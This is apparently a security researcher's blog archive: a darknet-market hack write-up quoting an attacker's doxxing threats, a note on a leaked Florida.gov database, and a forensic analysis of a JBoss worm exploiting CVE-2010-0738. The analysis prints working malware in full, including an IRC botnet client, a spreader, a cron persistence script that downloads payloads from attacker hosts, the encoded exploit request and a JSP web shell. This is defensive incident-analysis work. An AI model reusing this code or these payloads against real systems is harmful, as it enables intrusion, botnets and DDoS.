xorl %eax, %eax

Archive for the ‘hax’ Category

Aero market attack and lessons learned

leave a comment »

In case you missed it, yesterday Caleb .S tweeted about this. For the readers who are not familiar, Aero is one of the most popular darknet marketplaces. Unlike other marketplaces, Aero was considered secure and privacy oriented. Sometimes going to extreme levels like what you see below. If you tried to access it with JavaScript being enabled on your browser you were getting the following.



So, what happened there? For the past couple of days the administrators of this popular darknet marketplace say that their servers are under DDoS attack. This is nothing really important or uncommon and the administrators of Aero decided to fight it by spinning up more mirrors.



The plot twist though is that yesterday, threat actor “ChUcKyNbUcKy” stepped up and announced that Aero Server Wallet Tools was hacked on 08 November 2017 after its server got “rooted”. Below is the announcement threat actor “ChUcKyNbUcKy” made in Aero support forums.

ChUcKyNbUcKy successfully hacked the Aero Server Wallet Tools on 11/8/2017 after
previously rooted the host server and acquired administrator privileges. We have
compromised the login system and, after bypassing the 2fa login (10/15/2017), may
change PGP and account accounts and change the provider's PGP keys and collect customer
addresses for public release. The BTC and XMR are currently being channeled into CnB's
primary tumbling wallets, where everything is converted to XMR and "staggers" in a
similar way to BTC.

We do not explain how the core aero server was compromised, but we are not affiliated
with LEO or working in correspondence. However, you are aware of our activities. On the
first day, we started diverting the wallet system (withdrawals and deposits) to various
master wallets, we did about 300k and we worked with it about half of the day.

All announcements made by Aero employees are wrong, and they are essentially doing the
same thing we do now with any transactions to cover the losses, as we initially got admins
worth several BTC before they caught our spoofing method to have. The reason why they are
not completely shut down is that they would probably expect to end the fraud anyway.

To repeat that, we did not manipulate transactions in several days. We had stolen a
considerable amount of BTC in the first few days. The Aero admins fixed it, and that's why
some transactions worked. But she spoofs the wallet of user profiles to a master administrator
wallet that has been used since the launch of aero. And turn it into what they do.

As for doxxing, we are customers of certain vendors that we have targeted, not random customers.
We targeted these specific providers for PGP counterfeits. It was essentially the same method we
used to fake the BTC and XMR Wallet Keys for withdrawal. If you have ordered from INSTANTGRAM, GONEPOSTAL,
TRANQUILTREATS, THENOTORIOUS, EL_CHAPO, UK2UK, STEALTHPHORMIE, NIGHTPEOPLE, PILLENDOSE, REMEDYPLUS,
SOUTHERNWONDERZ, or DGSLABZ, BECAUSE PGP TRANSFERRED YOUR ADDRESS AND ACQUIRED YOUR ADDRESS.
Clean house smile

WE ALSO HAVE THE BTC FROM MANY THOSE SELLERS!

WE WILL DOx CUSTOMERS THERE! smile smile

UPDATE: We are currently targetting fraud and CC vendors wallets. We are directing DDOS on all
mirror links, making it harder for aero admins to steal bitcoin smile

 
The above suggests that threat actor “ChuckyNBucky” (also using the handle “ChuckyNBucky2”) is not only financially motivated but also wants the public attention and prove a point. Based on the above, here is a brief timeline that we can deduce from the post.

  • 15OCT2017: Bypassed 2FA login system
  • ?????2017: Got root access to the host server
  • 08NOV2017: Access to Aero Server Wallet
  • 08NOV2017: Diverting withdrawals and deposits to various master wallets
    ($300k stolen before it got fixed)
  • 02DEC2017: Targetting fraud and credit card vendors’ digital wallets
  • 02DEC2017: DDoS Aero and its mirrors



Although the public announcement makes this an questionable case, there are a few lessons that we can learn from it that even large corporations fail to do. Specifically, the following two.

  • Take responsibility and act. If the provided information is correct it means that even though Aero administrators discovered and fixed the redirection of transactions, they never informed the victims of the attack. This is something very common even in legitimate businesses and it never ends up well.
  • DDoS is not only for disruption. Some, so-called, APT groups have been using DDoS to cover their activities for years now. DDoS provides enough noise and confusion to the victim to provide more time to the attackers. Never treat a DDoS as a common disruption attack, find out WHY it is happening.

Written by xorl

December 3, 2017 at 11:34

Posted in hax

Leaked florida.gov database

leave a comment »

Yesterday (03 November 2017), a threat actor leaked a database dump claiming to be originating from the e-Government services website of Florida, USA (Florida.gov). The file is in CSV format and contains 49771 records with the following fields:

  • Some unknown identifier
  • Full name
  • Profession
  • Short version of the profession title
  • Address
  • City
  • State
  • Postal Code
  • Some unknown identifier
  • Some unknown identifier
  • Status
  • Status state
  • Date of birth
  • (possibly) date started
  • (possibly) date last updated
  • Some unknown identifier
  • Email address


Written by xorl

November 4, 2017 at 12:47

Posted in hax

Hack Analysis (CVE-2010-0738)

with 8 comments

Recently a friend of mine called me to investigate a hacked development server he had for some JBoss application development. I didn’t have enough time so I just cleaned up the server since it was an automated attack and informed him of its status.

Now that I found some time I can write this blog post. Just for clarification, if this was a 0day or some sophisticated hack I would never disclose any information, but since this is a very common, already known, automated attack I’m publishing this blog post.

After logging into the server it was pretty obvious that this was either a script kiddie or an automated/worm/virus attack just by checking the running processes with ‘ps’.

javadev     1779  0.0  0.0 106092  1192 pts/2    S    Feb01   0:00 sh -c ./pns -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6001 100.28.0.0/16 8080 > /tmp/sess_0088025413980486928597bf100
javadev     1780  0.0  0.0 106096   684 pts/2    S    Feb01   0:00 sh -c ./pns -r JBoss -w "HEAD / HTTP/1.0\r\n\r\n" -t 6001 100.28.0.0/16 8080 > /tmp/sess_0088025413980486928597bf100
javadev     2145  0.0  0.0 106092  1336 pts/2    S    Feb01   0:00 sh -c mkdir ...;cd ...;wget http://myiphone.dyndns-pics.com/a.tar.gz;tar xzf a.tar.gz;sh alfa.sh
javadev     2147  0.0  0.0 133856  1880 pts/2    S    Feb01   0:00 wget http://myiphone.dyndns-pics.com/a.tar.gz
root       14722  0.0  0.0  97788  3848 ?        Ss   Jan12   0:00 sshd: javadev [priv]
javadev    14725  0.0  0.0  97788  1732 ?        S    Jan12   0:00 sshd: javadev@pts/1
javadev    14726  0.0  0.0 108332  1908 pts/1    Ss+  Jan12   0:00 -bash

The first thing I did was to download a.tar.gz on my workstation in order to check it out. From a quick look at this it doesn’t seem like a serious hack. As I said earlier, it’s either a script kiddie or almost certainly some automated attack. The obvious thing to check next based on the simplicity of the attack is how it re-spawns new processes to download the new binaries and execute them.

A quick look in ‘/var/spool/cron/javadev’ file reveals the following cronjobs for the unprivileged user that was running the JBoss Application Server…

[root@somewhere ~]# cat /var/spool/cron/javadev
1 1 10 * * ~/.sysdbs
1 1 24 * * perl ~/.sysync.pl
1 1 24 * * perl ~/.sysync.pl
1 1 10 * * ~/.sysdbs
[root@somewhere ~]#

And by moving to ‘javadev’ user’s home directory I found ‘.sysync.pl’ which was a very simple Perl script slightly obfuscated (no new lines) which you can see here (de-obfuscated):

#!/usr/bin/perl
use IO::Socket::INET;  

my $time=time();  

$time=~/(.*)\d\d\d\d/;  
$i=int($1)*2; 

my $processo = "/usr/share/apache/bin/httpsd";  
my $pid=fork;  
exit if $pid;  

$0="$processo"." "x16;   

my @sops =("localhost","iscvadimswallows.dyndns.biz","webstatzz.twilightparadox.com","westatzo.dyndns-remote.com","suyeifd.dyndns.info","killbilll.twilightparadox.com","myfivecents.dyndns-web.com","its".$i."s.dyndns.info","itsthe".$i."d.strangled.net","eventuallydown.dyndns.biz","localhosting.dyndns.info"); 

my $port=2020*4;  
my $chan="#jbs"; 

my $boxing = `uname -a`;  
$user = `whoami`;  
$boxing =~ s/\r//g;  
$boxing =~ s/\n//g; 
$boxing =~ s/ //g; 
$boxing =~ s/\s//g; 
$user =~ s/\r//g; 
$user =~ s/\n//g;  
$user =~ s/ //g; 
$user =~ s/\s//g;    

while(1) {
 retry:
 my $nick="efd[".int(rand(999999999))."]";
 close($sk);  
 my $server = "";  

 while(length($server)<10) { 
	 $server = $sops[int(rand(12))]; 
 }

 sleep(3); 

 my $sk = IO::Socket::INET->new(PeerAddr=>$server,PeerPort=>$port,Proto=>"tcp") or goto retry; 
 $sk->autoflush(1); 

 print $sk "POST /index.php HTTP/1.1\r\nHost: $server:$port\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: 385256291721361\r\n\r\nfile1=MZ%90%0a%0d\r\n";
 print $sk "NICK $nick\r\n";  print $sk "USER ".$user." 8 *  : ".$user."\r\n";  

 while($line = <$sk>)
 { 
	 $line =~ s/\r\n$//;

       	 if ($line=~ /^PING \:(.*)/)
	 {
		 print $sk "PONG :$1\r\n";
       	 }  

	 if($line =~ /welcome\sto/i)
	 {
		 sleep(2); 
		 print $sk "JOIN $chan\r\n"; 
		 sleep(1); 
		 print $sk "PRIVMSG $chan :UserName=$boxing\r\n"; 
	 }  

	 if ($line =~ /PRIVMSG (.*) :.rsh\s"(.*)"/)
	 {
		 $owner=$line;
	       	 $de=$2; 
		
		 if($owner=~/iseee/gi)
		 {
			 @shell=`$de`; 
			 foreach $line (@shell) { 
				 sendsk($sk, "PRIVMSG iseee :$line\r\n"); 
				 sleep(1); 
			 } 
		 } 
	 } 


	 if ($line=~ /PRIVMSG (.*) :.get\s"(.*)"\s"(.*)"/)
	 {
		 $owner=$line; 
		 $url=$2; 
		 $mult=$3;

	       	 if($owner=~/iseee/gi)
		 {
			 $url=~/http:\/\/(.*)\/(.*)/g;   

			 for($xz=0; $xz<=$mult; $xz++) {
				 system("curl ".$url.">/dev/null&");
			       	 `curl "$url">/dev/null&`; 
				 system("wget ".$url.">/dev/null&"); 
				 `wget "$url">/dev/null&`; 
				 system("wget $url>/dev/null&"); 
		       	 }
			 sendsk($sk, "PRIVMSG iseee :Got $host/$path - $mult times\r\n"); 
		 }
	 }   

	 if ($line=~ /PRIVMSG (.*) :.post\s"(.*)"\s"(.*)"/)
	 {
		 $owner=$line; 
		 $url=$2; 
		 $ddata=$3; 
		
		 if($owner=~/iseee/gi)
		 {
			 $url=~/http:\/\/(.*)\/(.*)/g; 
			 $host=$1; 
			 $path=$2;  
		       
			 my $sck=new IO::Socket::INET(PeerAddr=>$host, PeerPort=>80); 
			 print $sck   "POST /$path HTTP/1.0\r\n" . "Host: $host\r\n" . "Connection: close\r\n" . "Content-Length: ".length($ddata)."\r\n\r\n".$ddata;
		       	 sleep(1); 
			 close($sck);   
			 
			 sendsk($sk, "PRIVMSG (.*) :Posted $host/$path - $mult\r\n");
		 } 
	 }  
 } 

 }  

 sub sendsk()
 { 
	 if ($#_ == 1)
	 {
		 my $sk = $_[0]; 
		 print $sk "$_[1]\n"; 
	 } 
	 else
	 { 
		 print $sk "$_[0]\n"; 
	 }
 }

This is a very straightforward botnet client code that follows this algorithm:
1) Set username to efd[]
2) Obtain randomly a server of the ones defined in @sops if not hardcoded
3) Wait for 3 seconds and open a connection to this server on port 8080/tcp
4) Send an HTTP POST request (probably used for identification by the server to enable IRC communication)
5) Send NICK IRC command to set the previously defined username
6) Enter the IRC main loop
7) If you receive a PING respond with a PONG to keep the IRC connection alive
8) If you reveive a “welcome” message, join IRC channel #jbs and send the ‘uname -a’ output (with no spaces or new lines)
9) If you receive a message from user ‘iseee’ in the format of “.rsh [command]”, execute it in a shell and send back the output
10) If you receive a message from user ‘iseee’ in the format of “.get [URL] [times]”, download using ‘curl’ or ‘wget’ the provided URL and send back the location of the file
11) If you receive a message from user ‘iseee’ in the format of “.post [URL] [Bytes]”, connect to the given URL on port 80/tcp and send a HTTP POST request with “Content-Length” of the number of Bytes given in the IRC message

This overall simple IRC botnet client is executed through CRON so at least now we know what we are dealing with. Unfortunately, determining how the attacker got access was difficult since JBoss didn’t have any logging (it was just a development server).
However, from personal experience I was fairly convienced that this was the all time classic CVE-2010-0738 and a quick look in /home/javadev/jboss/server/default/deploy/jmx-console.war/WEB-INF/web.xml proves me right…

   <!-- A security constraint that restricts access to the HTML JMX console
   to users with the role JBossAdmin. Edit the roles to what you want and
   uncomment the WEB-INF/jboss-web.xml/security-domain element to enable
   secured access to the HTML JMX console. -->
   <security-constraint>
     <web-resource-collection>
       <web-resource-name>HtmlAdaptor</web-resource-name>
       <description>An example security config that only allows users with the
         role JBossAdmin to access the HTML JMX console web application
       </description>
       <url-pattern>/*</url-pattern>
       <http-method>GET</http-method>
       <http-method>POST</http-method>
     </web-resource-collection>
     <auth-constraint>
       <role-name>JBossAdmin</role-name>
     </auth-constraint>
   </security-constraint>

   <login-config>
      <auth-method>BASIC</auth-method>
      <realm-name>JBoss JMX Console</realm-name>
   </login-config>

For further information on this vulnerability you can check “Bypassing Web Authentication and Authorization with HTTP Verb Tampering” presentation by Arshan Dabirsiaghi of Aspect Security.

Regardless of the botnet, we could see in ‘ps’ above that it was also running some ‘pns’ executable. This is part of the ‘a.tar.gz. binary that it was downloading. So, let’s have a look at this one…

[root@satan jbosshack]# tar xfvz a.tar.gz
bm.c
bm.h
install-sh
ipsort
version.c
Makefile
fix.pl
pnscan.c
alfa.sh
treat.sh
b.pl
[root@satan jbosshack]# ls -l
total 54
-rwxrwx---. 1 root root    97 Feb  3 00:38 alfa.sh
-rwxrwx---. 1 root root 12597 Feb 10 10:46 a.tar.gz
-rwxrwx---. 1 root root  3229 Mar 25  2002 bm.c
-rwxrwx---. 1 root root   460 Mar 23  2002 bm.h
-rwxrwx---. 1 root root  4183 Feb  3 20:34 b.pl
-rwxrwx---. 1 root root  2692 Jan 28 05:15 fix.pl
-rwxrwx---. 1 root root  5598 Mar 25  2002 install-sh
-rwxrwx---. 1 root root   132 Mar 22  2002 ipsort
-rwxrwx---. 1 root root  1680 Jan 28 05:13 Makefile
-rwxrwx---. 1 root root  19774 Jan 28 05:16 pnscan.c
-rwxrwx---. 1 root root  1365 Feb  3 19:58 treat.sh
-rwxrwx---. 1 root root    25 Mar 25  2002 version.c
[root@satan jbosshack]#

Using the information of ‘ps’ shown in the beginning we can see that it follows this order:
1) Make directory named ‘…’ in hacked user’s home directory and move to that directory
2) Download ‘a.tar.gz’ from http://myiphone.dyndns-pics.com/a.tar.gz using ‘wget’
3) Extract ‘a.tar.gz’ to ‘xzf’ directory
4) Execute ‘alfa.sh’ shell script

Based on this we will first have to take a look at ‘alfa.sh’ shell script.

killall -9 perl
rm -f *.txt.*
rm -f *.txt
rm -f *.htm*
killall -9 pns
killall -9 perl
perl b.pl

So, this means that the next script we will have to look at is ‘b.pl’ Perl script. All the newlines were removed as a basic obfuscation. Here is a cleaner version of it.

#!/usr/bin/perl

use IO::Socket; 

my $mm=`ps aux | grep /usr/local/bin/javad | grep -v grep`; 

$ii=`whoami`; 
system("sh treat.sh&"); 

if(length($mm)>260) 
{ 
	die; 
}

my $pr = "/usr/bin/javad";
my $pi=fork; 
exit if $pi;

$0="$pr"." "x16; `make lnx`; 

system("perl fix.pl&");
system("make lnx");

system("rm -f treat.sh;rm -f *.tar.gz;rm -f *.tar.gz.*;rm -f b.pl;rm -f alfa.sh");

$tt = "HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n";

while(1)
{
       	$px=int(rand(255));
       	$fl="/tmp/sess_0088025413980486928597bf$px"; 
	$pie=int(rand(255));
       	$coin=int(rand(101));

       	if($coin<=49) 
	{ 
		$port=80; 
	} else { 
		$port=8080 
	}

	$syc="./pns -r JBoss -w \"HEAD / HTTP/1.0\\r\\n\\r\\n\" -t 6001 $px.$pie.0.0/16 $port > $fl"; 
	
	system($syc); 
	open FILE, "$fl" or die; my @tra = <FILE>; 
	close(FILE);

	foreach $pos (@tra) 
	{  
		$pos=~s/\)//;  
		$pos=~s/\(//;  
		$pos=~/(.*)\.(.*)\.(.*)\.(.*)\s\s(.*):\s(.*)80\s/g;  
		
		$it="$1.$2.$3.$4";  
		$it=~s/\s//g;  
		$it=~s/ //g;  
		$it=~s/\t//g;  

		my $crp = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto np;  
		print $crp $tt;  
		$pg = "";
	      	$pg .= $_ while <$crp>; 
		sleep(1);

		if($pg=~/200/||$pg=~/500/)
	       	{
		       	my $sk = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
		       	print $sk "GET /zecmd/zecmd.jsp HTTP/1.0\r\nConnection: Close\r\n\r\n";
		       	$pg = "";
		       	$pg .= $_ while <$sk>;

			if($pg=~/comments/g)
		       	{ 
			       	my $ska = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta; 
				print $ska "GET /zecmd/zecmd.jsp?comment=wget+http://myiphone.dyndns-pics.com/a.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n"; 
				sleep(3); 
				close($ska);

				my $skb = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
				print $skb "GET /zecmd/zecmd.jsp?comment=tar+xzvf+a.tar.gz HTTP/1.0\r\nConnection: Close\r\n\r\n"; 
				sleep(2);
			       	close($skb);
			       
				my $skd = new IO::Socket::INET(PeerAddr=>$it, PeerPort=>$port, TimeOut=>120) or goto nta;
			       	print $skd "GET /zecmd/zecmd.jsp?comment=sh+alfa.sh HTTP/1.0\r\nConnection: Close\r\n\r\n";
			       	sleep(2);
			       	close($skd);
		      	} 
		       	np:  close($crp); 
	       	} 
	       	nta: close($sk); 
	}
}

And if you don’t want to read the code, here is what it does:
1) It executes ‘treat.sh’ as a background process
2) If ‘/usr/local/bin/javad’ is already running, it exits
3) Executes Perl script ‘fix.pl’ as a background process
4) Compiles the C files using the included ‘Makefile’ (this time for Linux (see ‘lnx’ argument))
5) Removes ‘*.tar.gz’, ‘treat.sh’, ‘*.tar.gz.*’, ‘b.pl’ and ‘alfa.sh’ files
6) Runs ‘pns’ with options ‘-r JBoss’ (search for this response string), ‘-w “HEAD HTTP/1.0″‘ (write this request string), ‘-t 6100’ (connect/read/write time-out in milliseconds) on ports either 80 or 8080 (randomly selected) against hosts XXX.XXX.0.0/16 where XXX is a random integer from 0 to 255 and saves the result to ‘/tmp/sess_0088025413980486928597bfXXX’ where XXX is a random integer from 0 to 255.
7) Parses the output file
8) If it finds a vulnerable host, it is attacking to it by sending the malicious HEAD request to its JMX console
9) If the server responds with a 200 or 500 code, then sends a ‘GET /zecmd/zecmd.jsp’ request to see if it was successfully infected
10) If this is the case, it uses ‘comments’ parameter to download, extract and execute ‘a.tar.gz’ to the remote host as it did on this one

This means that in order to better understand the worm we have to first see what ‘treat.sh’ shell script does. Again, the script was slightly modified/obfuscated but nothing really special. Here is the de-obfuscated ‘treat.sh’ shell script.

#!/bin/bash

echo '#include <stdio.h>' > sysdbss.c;
echo 'int x=0;' >> sysdbss.c;
echo 'int main()' >> sysdbss.c;
echo '{' >> sysdbss.c;

crontab -l|sort|uniq > /tmp/myc;

echo 'system("wget http://blacknbluesky.strangled.net/a.tar.gz");' >> sysdbss.c;
echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c;
echo 'system("perl b.pl");' >> sysdbss.c;
echo 'system("rm -f a.tar.gz");' >> sysdbss.c;

cat fix.pl > ~/.sysync.pl;

echo 'for(x=0;x<=432;x++)' >> sysdbss.c;
echo '{' >> sysdbss.c;
echo 'sleep(200);' >> sysdbss.c;
echo '}' >> sysdbss.c;
echo 'system("wget http://gettingz.strangled.net/a.tar.gz");' >> sysdbss.c;
echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c;

echo '1 1 24 * * perl ~/.sysync.pl' >> /tmp/myc;
echo 'system("perl b.pl");' >> sysdbss.c;

chmod +x ~/.sysync.pl;

echo 'system("rm -f a.tar.gz");' >> sysdbss.c;
echo 'for(x=0;x<=432;x++)' >> sysdbss.c;
echo '{' >> sysdbss.c;
echo 'sleep(200);' >> sysdbss.c;
echo '}' >> sysdbss.c;
echo 'system("wget http://redtapeworks.dyndns.info/a.tar.gz");' >> sysdbss.c;
echo 'system("tar xzvf a.tar.gz");' >> sysdbss.c;
echo 'system("perl b.pl");' >> sysdbss.c;

echo '1 1 10 * * ~/.sysdbs' >> /tmp/myc;
echo 'system("rm -f a.tar.gz");' >> sysdbss.c;
echo 'return 0;' >> sysdbss.c;
echo '}' >> sysdbss.c;

gcc sysdbss.c -o ~/.sysdbs;
chmod +x ~/.sysdbs;
rm -f sysdbss.c;

crontab /tmp/myc;
rm -f *.tar.gz;
rm -f /tmp/myc;
rm -f *.tar.gz.*;
rm -f treat.sh

And here is what this one does:
1) Constructs file ‘sysdbss.c’
2) File ‘fix.pl’ is copied to ‘~/.sysync.pl’ and the latter file’s permissions are changed to be executable
3) The cronjobs (we saw earlier) is prepared and installed in cron (temporarily stored in /tmp/myc)
4) ‘sysdbss.c’ is compiled using gcc and installed in ‘~/.sysdb’
5) All the temporary files and initial scripts are removed

The constructed ‘sysdbss.c’ file is the following:

#include <stdio.h>

int x=0;
int main()
{

	system("wget http://blacknbluesky.strangled.net/a.tar.gz");
	system("tar xzvf a.tar.gz");
	system("perl b.pl");
	system("rm -f a.tar.gz");

	for(x=0;x<=432;x++)
	{
		sleep(200);
	}

	system("wget http://redtapeworks.dyndns.info/a.tar.gz");
	system("tar xzvf a.tar.gz");
	system("perl b.pl");
	system("rm -f a.tar.gz");
	
	return 0;
}

By now we know exactly what files have been altered, how was our system infected as well as how the worm is spreading and what is used for. However, we still miss some crucial points. Let’s see how the vulenrability was exploited. We have the malicious HTTP payload which is URL encoded. Here is the encoded one:

HEAD /jmx-console/HtmlAdaptor?action=invokeOpByName&name=jboss.admin%3Aservice%3DDeploymentFileRepository&methodName=store&argType=java.lang.String&arg0=zecmd.war&argType=java.lang.String&arg1=zecmd&argType=java.lang.String&arg2=.jsp&argType=java.lang.String&arg3=%3c%25%40%20%70%61%67%65%20%69%6d%70%6f%72%74%3d%22%6a%61%76%61%2e%75%74%69%6c%2e%2a%2c%6a%61%76%61%2e%69%6f%2e%2a%22%25%3e%20%3c%25%20%25%3e%20%3c%48%54%4d%4c%3e%3c%42%4f%44%59%3e%20%3c%46%4f%52%4d%20%4d%45%54%48%4f%44%3d%22%47%45%54%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%73%22%20%41%43%54%49%4f%4e%3d%22%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%74%65%78%74%22%20%4e%41%4d%45%3d%22%63%6f%6d%6d%65%6e%74%22%3e%20%3c%49%4e%50%55%54%20%54%59%50%45%3d%22%73%75%62%6d%69%74%22%20%56%41%4c%55%45%3d%22%53%65%6e%64%22%3e%20%3c%2f%46%4f%52%4d%3e%20%3c%70%72%65%3e%20%3c%25%20%69%66%20%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%21%3d%20%6e%75%6c%6c%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%22%43%6f%6d%6d%61%6e%64%3a%20%22%20%2b%20%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%20%2b%20%22%3c%42%52%3e%22%29%3b%20%50%72%6f%63%65%73%73%20%70%20%3d%20%52%75%6e%74%69%6d%65%2e%67%65%74%52%75%6e%74%69%6d%65%28%29%2e%65%78%65%63%28%72%65%71%75%65%73%74%2e%67%65%74%50%61%72%61%6d%65%74%65%72%28%22%63%6f%6d%6d%65%6e%74%22%29%29%3b%20%4f%75%74%70%75%74%53%74%72%65%61%6d%20%6f%73%20%3d%20%70%2e%67%65%74%4f%75%74%70%75%74%53%74%72%65%61%6d%28%29%3b%20%49%6e%70%75%74%53%74%72%65%61%6d%20%69%6e%20%3d%20%70%2e%67%65%74%49%6e%70%75%74%53%74%72%65%61%6d%28%29%3b%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%20%64%69%73%20%3d%20%6e%65%77%20%44%61%74%61%49%6e%70%75%74%53%74%72%65%61%6d%28%69%6e%29%3b%20%53%74%72%69%6e%67%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%77%68%69%6c%65%20%28%20%64%69%73%72%20%21%3d%20%6e%75%6c%6c%20%29%20%7b%20%6f%75%74%2e%70%72%69%6e%74%6c%6e%28%64%69%73%72%29%3b%20%64%69%73%72%20%3d%20%64%69%73%2e%72%65%61%64%4c%69%6e%65%28%29%3b%20%7d%20%7d%20%25%3e%20%3c%2f%70%72%65%3e%20%3c%2f%42%4f%44%59%3e%3c%2f%48%54%4d%4c%3e&argType=boolean&arg4=True HTTP/1.0\r\n\r\n

And here is the decoded one in a more readable form…

HEAD /jmx-console/HtmlAdaptor

action=invokeOpByName
name=jboss.admin:service=DeploymentFileRepository
methodName=store

argType=java.lang.String

arg0=zecmd.war
argType=java.lang.String

arg1=zecmd
argType=java.lang.String

arg2=.jsp
argType=java.lang.String

arg3=
<%@ page import="java.util.*,java.io.*"%> 
<% %>
<HTML>
	<BODY> 
		<FORM METHOD="GET" NAME="comments" ACTION=""> 
			<INPUT TYPE="text" NAME="comment"> 
			<INPUT TYPE="submit" VALUE="Send"> 
		</FORM> 

		<pre> 
			<% 
				if (request.getParameter("comment") != null) 
				{ 
					out.println("Command: " + request.getParameter("comment") + "<BR>"); 
					Process p = Runtime.getRuntime().exec(request.getParameter("comment")); 
					OutputStream os = p.getOutputStream(); 
					InputStream in = p.getInputStream(); 
					DataInputStream dis = new DataInputStream(in); 
					String disr = dis.readLine();
					while ( disr != null ) 
					{ 
						out.println(disr); 
						disr = dis.readLine(); 
					} 
				} 
			%> 
		</pre> 
	</BODY>
</HTML>

argType=boolean
arg4=True HTTP/1.0\r\n\r\n

It’s a call to invokeOpByName() routine with request type of “DeploymentFileRepository” in order to deploy a new WAR file named ‘zecmd.war’ that includes a JSP web page named ‘zecmd.jsp’ which is a common JSP based shell that executes anything passed to it through “comment” parameter. This is using the misconfigured JMX console we saw earlier to execute this HEAD request and install this JSP backdoor.

Now that we also know exactly how system was exploited the only thing left is to check out the rest of the files that are used in this worm. Just for reference, here is the ‘Makefile’ used to compile the C programs included in the TAR archive.

# Makefile for pnscan

DESTDIR=/usr/local

BINDIR=$(DESTDIR)/bin
MANDIR=$(DESTDIR)/man
MAN1DIR=$(MANDIR)/man1

TAR=tar
GZIP=gzip
MAKE=make
INSTALL=./install-sh


## Solaris 8 with Gcc 3.0
GSO_CC=gcc -Wall -g -O -pthreads
GSO_LDOPTS=
GSO_LIBS= -lnsl -lsocket

## Solaris 8 with Forte C 6.2
SOL_CC=cc -mt -O
SOL_LDOPTS=
SOL_LIBS= -lpthread -lnsl -lsocket

## Linux 2.4 with Gcc 2.96
LNX_CC=gcc -Wall -g -O
LNX_LDOPTS=-Wl,-s 
LNX_LIBS=-lpthread -lnsl


OBJS = pnscan.o bm.o version.o


default:
	@echo 'Use "make SYSTEM" where SYSTEM may be:'
	@echo '   lnx      (Linux with GCC)'
	@echo '   gso      (Solaris with GCC v3)'
	@echo '   sol      (Solaris with Forte C)'
	@exit 1

lnx linux:
	@$(MAKE) all CC="$(LNX_CC)" LIBS="$(LNX_LIBS)" LDOPTS="$(LNX_LDOPTS)"

gso:
	@$(MAKE) all CC="$(GSO_CC)" LIBS="$(GSO_LIBS)" LDOPTS="$(GSO_LDOPTS)"
